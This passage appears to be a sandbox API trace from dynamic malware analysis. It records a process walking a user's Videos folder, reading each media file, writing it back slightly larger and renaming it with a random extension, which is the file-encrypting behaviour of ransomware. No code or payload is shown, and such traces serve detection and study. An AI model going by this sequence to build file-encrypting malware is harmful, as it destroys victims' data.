"c:\\users\\keecfmwgj\\videos\\_6w_top4\\tg9u9jjsqkvbntkz.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.854] GetFileType (hFile=0x1d0) returned 0x1 [0158.854] SetErrorMode (uMode=0x0) returned 0x1 [0158.854] GetFileType (hFile=0x1d0) returned 0x1 [0158.854] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x10e7e [0158.854] ReadFile (in: hFile=0x1d0, lpBuffer=0x29790a8, nNumberOfBytesToRead=0x10e7e, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x29790a8*, lpNumberOfBytesRead=0x21d418*=0x10e7e, lpOverlapped=0x0) returned 1 [0158.949] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", lpFilePart=0x0) returned 0x37 [0158.949] SetErrorMode (uMode=0x1) returned 0x0 [0158.949] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\tg9u9jjsqkvbntkz.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.951] GetFileType (hFile=0x1d0) returned 0x1 [0158.951] SetErrorMode (uMode=0x0) returned 0x1 [0158.951] GetFileType (hFile=0x1d0) returned 0x1 [0158.951] WriteFile (in: hFile=0x1d0, lpBuffer=0x289caf0*, nNumberOfBytesToWrite=0x10e80, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x289caf0*, lpNumberOfBytesWritten=0x21d498*=0x10e80, lpOverlapped=0x0) returned 1 [0158.954] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4", lpFilePart=0x0) returned 0x37 [0158.954] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4.4l6y33", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4.4l6y33", lpFilePart=0x0) returned 0x3e [0158.954] SetErrorMode (uMode=0x1) returned 0x0 [0158.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\tg9u9jjsqkvbntkz.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39898990, ftCreationTime.dwHighDateTime=0x1d8be6c, ftLastAccessTime.dwLowDateTime=0x13e5e5d0, ftLastAccessTime.dwHighDateTime=0x1d8bea3, ftLastWriteTime.dwLowDateTime=0x5b376840, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10e80)) returned 1 [0158.954] SetErrorMode (uMode=0x0) returned 0x1 [0158.954] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\tg9u9jjsqkvbntkz.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\Tg9U9jjSqkvBNtKz.mp4.4l6y33" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\tg9u9jjsqkvbntkz.mp4.4l6y33")) returned 1 [0158.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", lpFilePart=0x0) returned 0x33 [0158.957] SetErrorMode (uMode=0x1) returned 0x0 [0158.957] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\x7otvbagdzbj.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.957] GetFileType (hFile=0x1d0) returned 0x1 [0158.957] SetErrorMode (uMode=0x0) returned 0x1 [0158.957] GetFileType (hFile=0x1d0) returned 0x1 [0158.957] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x10e29 [0158.957] ReadFile (in: hFile=0x1d0, lpBuffer=0x28ae9f0, nNumberOfBytesToRead=0x10e29, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x28ae9f0*, lpNumberOfBytesRead=0x21d418*=0x10e29, lpOverlapped=0x0) returned 1 [0158.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", lpFilePart=0x0) returned 0x33 [0158.977] SetErrorMode (uMode=0x1) returned 0x0 [0158.977] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\x7otvbagdzbj.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.979] GetFileType (hFile=0x1d0) returned 0x1 [0158.979] SetErrorMode (uMode=0x0) returned 0x1 [0158.980] GetFileType (hFile=0x1d0) returned 0x1 [0158.980] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c12a8*, nNumberOfBytesToWrite=0x10e30, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x29c12a8*, lpNumberOfBytesWritten=0x21d498*=0x10e30, lpOverlapped=0x0) returned 1 [0158.983] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv", lpFilePart=0x0) returned 0x33 [0158.986] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv.gacda2", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv.gacda2", lpFilePart=0x0) returned 0x3a [0158.986] SetErrorMode (uMode=0x1) returned 0x0 [0158.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\x7otvbagdzbj.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2713c0, ftCreationTime.dwHighDateTime=0x1d8b8f3, ftLastAccessTime.dwLowDateTime=0x431412c0, ftLastAccessTime.dwHighDateTime=0x1d8be5b, ftLastWriteTime.dwLowDateTime=0x5b39c9a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10e30)) returned 1 [0158.986] SetErrorMode (uMode=0x0) returned 0x1 [0158.986] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\x7otvbagdzbj.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\X7OTvBAgdZbJ.flv.gacda2" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\x7otvbagdzbj.flv.gacda2")) returned 1 [0158.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf", lpFilePart=0x0) returned 0x31 [0158.990] SetErrorMode (uMode=0x1) returned 0x0 [0158.991] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.991] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.991] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fe48d0, ftCreationTime.dwHighDateTime=0x1d8b9b8, ftLastAccessTime.dwLowDateTime=0x78a21930, ftLastAccessTime.dwHighDateTime=0x1d8c09c, ftLastWriteTime.dwLowDateTime=0x78a21930, ftLastWriteTime.dwHighDateTime=0x1d8c09c, nFileSizeHigh=0x0, nFileSizeLow=0x105c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="9yKSI9QeOKwRPlhO.mkv", cAlternateFileName="9YKSI9~1.MKV")) returned 1 [0158.991] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ba5b0, ftCreationTime.dwHighDateTime=0x1d8b8c3, ftLastAccessTime.dwLowDateTime=0x54c33480, ftLastAccessTime.dwHighDateTime=0x1d8bb70, ftLastWriteTime.dwLowDateTime=0x54c33480, ftLastWriteTime.dwHighDateTime=0x1d8bb70, nFileSizeHigh=0x0, nFileSizeLow=0x106dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="b 3-Pk8pYJpTO.swf", cAlternateFileName="B3-PK8~1.SWF")) returned 1 [0158.991] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3e6960, ftCreationTime.dwHighDateTime=0x1d8b124, ftLastAccessTime.dwLowDateTime=0xf934ceb0, ftLastAccessTime.dwHighDateTime=0x1d8b6d0, ftLastWriteTime.dwLowDateTime=0xf934ceb0, ftLastWriteTime.dwHighDateTime=0x1d8b6d0, nFileSizeHigh=0x0, nFileSizeLow=0xe198, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBZ05GkRAEgsJx 7.avi", cAlternateFileName="CBZ05G~1.AVI")) returned 1 [0158.991] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43ba240, ftCreationTime.dwHighDateTime=0x1d8b587, ftLastAccessTime.dwLowDateTime=0x717e5570, ftLastAccessTime.dwHighDateTime=0x1d8bb8c, ftLastWriteTime.dwLowDateTime=0x717e5570, ftLastWriteTime.dwHighDateTime=0x1d8bb8c, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="dadCFjWoK75rYQp0Ycn.flv", cAlternateFileName="DADCFJ~1.FLV")) returned 1 [0158.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65bff320, ftCreationTime.dwHighDateTime=0x1d8c0bd, ftLastAccessTime.dwLowDateTime=0xcd04cac0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0xcd04cac0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1771a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijHxENyFja95MaKTwQc.flv", cAlternateFileName="IJHXEN~1.FLV")) returned 1 [0158.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc7c4e0, ftCreationTime.dwHighDateTime=0x1d8b521, ftLastAccessTime.dwLowDateTime=0xce0a9a20, ftLastAccessTime.dwHighDateTime=0x1d8b852, ftLastWriteTime.dwLowDateTime=0xce0a9a20, ftLastWriteTime.dwHighDateTime=0x1d8b852, nFileSizeHigh=0x0, nFileSizeLow=0x52f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UieYy.mp4", cAlternateFileName="")) returned 1 [0158.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd8ae60, ftCreationTime.dwHighDateTime=0x1d8b95b, ftLastAccessTime.dwLowDateTime=0x1bb430a0, ftLastAccessTime.dwHighDateTime=0x1d8bfb1, ftLastWriteTime.dwLowDateTime=0x1bb430a0, ftLastWriteTime.dwHighDateTime=0x1d8bfb1, nFileSizeHigh=0x0, nFileSizeLow=0x150b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wxyit0KtLV3TRqI.mp4", cAlternateFileName="WXYIT0~1.MP4")) returned 1 [0158.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257f1d30, ftCreationTime.dwHighDateTime=0x1d8b376, ftLastAccessTime.dwLowDateTime=0x6efb71c0, ftLastAccessTime.dwHighDateTime=0x1d8b6c3, ftLastWriteTime.dwLowDateTime=0x6efb71c0, ftLastWriteTime.dwHighDateTime=0x1d8b6c3, nFileSizeHigh=0x0, nFileSizeLow=0xa074, dwReserved0=0x0, dwReserved1=0x0, cFileName="YQunkpu9E0lM.avi", cAlternateFileName="YQUNKP~1.AVI")) returned 1 [0158.992] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257f1d30, ftCreationTime.dwHighDateTime=0x1d8b376, ftLastAccessTime.dwLowDateTime=0x6efb71c0, ftLastAccessTime.dwHighDateTime=0x1d8b6c3, ftLastWriteTime.dwLowDateTime=0x6efb71c0, ftLastWriteTime.dwHighDateTime=0x1d8b6c3, nFileSizeHigh=0x0, nFileSizeLow=0xa074, dwReserved0=0x0, dwReserved1=0x0, cFileName="YQunkpu9E0lM.avi", cAlternateFileName="YQUNKP~1.AVI")) returned 0 [0158.992] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.992] SetErrorMode (uMode=0x0) returned 0x1 [0158.993] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf", lpFilePart=0x0) returned 0x31 [0158.993] SetErrorMode (uMode=0x1) returned 0x0 [0158.993] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f3b77d0, ftCreationTime.dwHighDateTime=0x1d8b504, ftLastAccessTime.dwLowDateTime=0xad795e70, ftLastAccessTime.dwHighDateTime=0x1d8b9f8, ftLastWriteTime.dwLowDateTime=0xad795e70, ftLastWriteTime.dwHighDateTime=0x1d8b9f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fe48d0, ftCreationTime.dwHighDateTime=0x1d8b9b8, ftLastAccessTime.dwLowDateTime=0x78a21930, ftLastAccessTime.dwHighDateTime=0x1d8c09c, ftLastWriteTime.dwLowDateTime=0x78a21930, ftLastWriteTime.dwHighDateTime=0x1d8c09c, nFileSizeHigh=0x0, nFileSizeLow=0x105c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="9yKSI9QeOKwRPlhO.mkv", cAlternateFileName="9YKSI9~1.MKV")) returned 1 [0158.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ba5b0, ftCreationTime.dwHighDateTime=0x1d8b8c3, ftLastAccessTime.dwLowDateTime=0x54c33480, ftLastAccessTime.dwHighDateTime=0x1d8bb70, ftLastWriteTime.dwLowDateTime=0x54c33480, ftLastWriteTime.dwHighDateTime=0x1d8bb70, nFileSizeHigh=0x0, nFileSizeLow=0x106dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="b 3-Pk8pYJpTO.swf", cAlternateFileName="B3-PK8~1.SWF")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3e6960, ftCreationTime.dwHighDateTime=0x1d8b124, ftLastAccessTime.dwLowDateTime=0xf934ceb0, ftLastAccessTime.dwHighDateTime=0x1d8b6d0, ftLastWriteTime.dwLowDateTime=0xf934ceb0, ftLastWriteTime.dwHighDateTime=0x1d8b6d0, nFileSizeHigh=0x0, nFileSizeLow=0xe198, dwReserved0=0x0, dwReserved1=0x0, cFileName="CBZ05GkRAEgsJx 7.avi", cAlternateFileName="CBZ05G~1.AVI")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43ba240, ftCreationTime.dwHighDateTime=0x1d8b587, ftLastAccessTime.dwLowDateTime=0x717e5570, ftLastAccessTime.dwHighDateTime=0x1d8bb8c, ftLastWriteTime.dwLowDateTime=0x717e5570, ftLastWriteTime.dwHighDateTime=0x1d8bb8c, nFileSizeHigh=0x0, nFileSizeLow=0x78bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="dadCFjWoK75rYQp0Ycn.flv", cAlternateFileName="DADCFJ~1.FLV")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65bff320, ftCreationTime.dwHighDateTime=0x1d8c0bd, ftLastAccessTime.dwLowDateTime=0xcd04cac0, ftLastAccessTime.dwHighDateTime=0x1d8c0d5, ftLastWriteTime.dwLowDateTime=0xcd04cac0, ftLastWriteTime.dwHighDateTime=0x1d8c0d5, nFileSizeHigh=0x0, nFileSizeLow=0x1771a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ijHxENyFja95MaKTwQc.flv", cAlternateFileName="IJHXEN~1.FLV")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc7c4e0, ftCreationTime.dwHighDateTime=0x1d8b521, ftLastAccessTime.dwLowDateTime=0xce0a9a20, ftLastAccessTime.dwHighDateTime=0x1d8b852, ftLastWriteTime.dwLowDateTime=0xce0a9a20, ftLastWriteTime.dwHighDateTime=0x1d8b852, nFileSizeHigh=0x0, nFileSizeLow=0x52f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UieYy.mp4", cAlternateFileName="")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dd8ae60, ftCreationTime.dwHighDateTime=0x1d8b95b, ftLastAccessTime.dwLowDateTime=0x1bb430a0, ftLastAccessTime.dwHighDateTime=0x1d8bfb1, ftLastWriteTime.dwLowDateTime=0x1bb430a0, ftLastWriteTime.dwHighDateTime=0x1d8bfb1, nFileSizeHigh=0x0, nFileSizeLow=0x150b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wxyit0KtLV3TRqI.mp4", cAlternateFileName="WXYIT0~1.MP4")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257f1d30, ftCreationTime.dwHighDateTime=0x1d8b376, ftLastAccessTime.dwLowDateTime=0x6efb71c0, ftLastAccessTime.dwHighDateTime=0x1d8b6c3, ftLastWriteTime.dwLowDateTime=0x6efb71c0, ftLastWriteTime.dwHighDateTime=0x1d8b6c3, nFileSizeHigh=0x0, nFileSizeLow=0xa074, dwReserved0=0x0, dwReserved1=0x0, cFileName="YQunkpu9E0lM.avi", cAlternateFileName="YQUNKP~1.AVI")) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x257f1d30, ftCreationTime.dwHighDateTime=0x1d8b376, ftLastAccessTime.dwLowDateTime=0x6efb71c0, ftLastAccessTime.dwHighDateTime=0x1d8b6c3, ftLastWriteTime.dwLowDateTime=0x6efb71c0, ftLastWriteTime.dwHighDateTime=0x1d8b6c3, nFileSizeHigh=0x0, nFileSizeLow=0xa074, dwReserved0=0x0, dwReserved1=0x0, cFileName="YQunkpu9E0lM.avi", cAlternateFileName="YQUNKP~1.AVI")) returned 0 [0158.994] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.995] SetErrorMode (uMode=0x0) returned 0x1 [0158.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", lpFilePart=0x0) returned 0x46 [0158.995] SetErrorMode (uMode=0x1) returned 0x0 [0158.995] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\cbz05gkraegsjx 7.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.995] GetFileType (hFile=0x1d0) returned 0x1 [0158.995] SetErrorMode (uMode=0x0) returned 0x1 [0158.995] GetFileType (hFile=0x1d0) returned 0x1 [0158.995] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xe198 [0158.996] ReadFile (in: hFile=0x1d0, lpBuffer=0x29d59e8, nNumberOfBytesToRead=0xe198, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29d59e8*, lpNumberOfBytesRead=0x21d358*=0xe198, lpOverlapped=0x0) returned 1 [0159.073] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", lpFilePart=0x0) returned 0x46 [0159.073] SetErrorMode (uMode=0x1) returned 0x0 [0159.074] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\cbz05gkraegsjx 7.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.075] GetFileType (hFile=0x1d0) returned 0x1 [0159.075] SetErrorMode (uMode=0x0) returned 0x1 [0159.075] GetFileType (hFile=0x1d0) returned 0x1 [0159.075] WriteFile (in: hFile=0x1d0, lpBuffer=0x28eecd8*, nNumberOfBytesToWrite=0xe1a0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28eecd8*, lpNumberOfBytesWritten=0x21d3d8*=0xe1a0, lpOverlapped=0x0) returned 1 [0159.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi", lpFilePart=0x0) returned 0x46 [0159.079] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi.e0jmia", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\xuKD9lnbmJOIcf\\CBZ05GkRAEgsJx 7.avi.e0jmia", lpFilePart=0x0) returned 0x4d [0159.079] SetErrorMode (uMode=0x1) returned 0x0 [0159.079] GetFileAttributesExW (in: 